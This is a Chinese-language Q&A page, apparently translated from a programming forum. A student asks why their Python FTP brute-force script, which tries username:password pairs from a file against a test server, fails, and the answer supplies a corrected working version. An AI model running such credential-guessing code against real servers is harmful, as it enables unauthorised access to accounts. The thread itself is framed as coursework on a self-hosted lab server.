Python FTP暴力破解

时间:2014-06-21 20:08:00

标签: python ftp brute-force

我正在开发一个学校编码项目,该项目将使用python脚本使用文本文档强制FTP服务器。这就是我所拥有的:

from ftplib import FTP
from optparse import OptionParser

def brute(host, username, password):
    try:
        ftp = FTP(host)
        ftp.login(username, password)
        ftp.retrlines('LIST')
        print ('Ftp server connected using the provided username "' + username + '" and     password "' + password + '"')
        ftp.quit()
    except:
        print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')

def main():
    parser = OptionParser(usage="usage: python3 <program name>.py -H <target IP -P <password file>")
    parser.add_option("-H", type="string",
                      help="Enter target host IP",
                      dest="targetHost")
    parser.add_option("-P", type="string",
                      help="Enter password file",
                      dest="passFile")
    (options, args) = parser.parse_args()

    with open(options.passFile) as f:
        content = f.readlines()
        content = [x.split(':') for x in content]
        username = []
        password = []
        i = 0
        for x in range(len(content)):
            username.append(content[i][0])
            password.append(content[i][1])
            i += 1
        password = [x.replace('\n', '') for x in password]
        f.close()

    for x in range(len(username)):
        brute(options.targetHost, username[x], password[x])

main()

文本文档的格式为用户名:密码。 为了测试它,我必须设置一个FTP服务器,我做了。 在我设置了FTP服务器并运行脚本后,它工作了,但它实际上并没有将我连接到FTP服务器,而是它给了我我的除了打印。我一直试图配置我的FTP服务器一段时间,试图让它工作,但结果相同。所以我想知道我的脚本是不是问题,或者我是不是没有正确配置我的FTP服务器。如果是我的脚本是问题,有人可以指出它是什么,否则如果我的脚本没问题,那么有人愿意链接到一个网站,该网站显示如何为Windows 2008或Linux设置和配置FTP服务器? 提前谢谢。

1 个答案:

答案 0 :(得分:2)

#!/usr/bin/env python3

from ftplib import FTP
from optparse import OptionParser

def brute(host, username, password):
    try:
        ftp = FTP(host)
        ftp.login(username, password)
        ftp.retrlines('LIST')
        print ('Ftp server connected using the provided username "' + username + '" and     password "' + password + '"')
        ftp.quit()
    except:
        print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')

def main():
    parser = OptionParser(usage="usage: python3 <program name>.py -t <target IP> -p <password file>")
    parser.add_option("-t", type="string",
                      help="Enter target host IP",
                      dest="targetHost")
    parser.add_option("-p", type="string",
                      help="Enter password file",
                      dest="passFile")
    (options, args) = parser.parse_args()

    if not options.passFile or not options.targetHost:
        parser.print_help()
    else:
        with open(options.passFile) as f:
            data = [ line.strip().split(':') for line in f ]

        for username, password in data:
            brute(options.targetHost, username, password)

main()

-

使用行#!/usr/bin/env python3(称为hashbang - # = hash! = bang
我可以直接运行脚本

bash$ my_script.py

bash$ ./my_script.py

(但首先我必须将其设置为可执行文件chmod +x my_script.py

我甚至可以删除.py并且它可以正常工作

bash$ my_script

bash$ ./my_script

-

大多数程序都使用小写参数,我更喜欢它,所以我使用-t-p

-

OptionParser没有检查是否使用了参数。

-

代码的最后部分也可以

    with open(options.passFile) as f:
        for line in f:
            username, password = line.strip().split(':')
            brute(options.targetHost, username, password)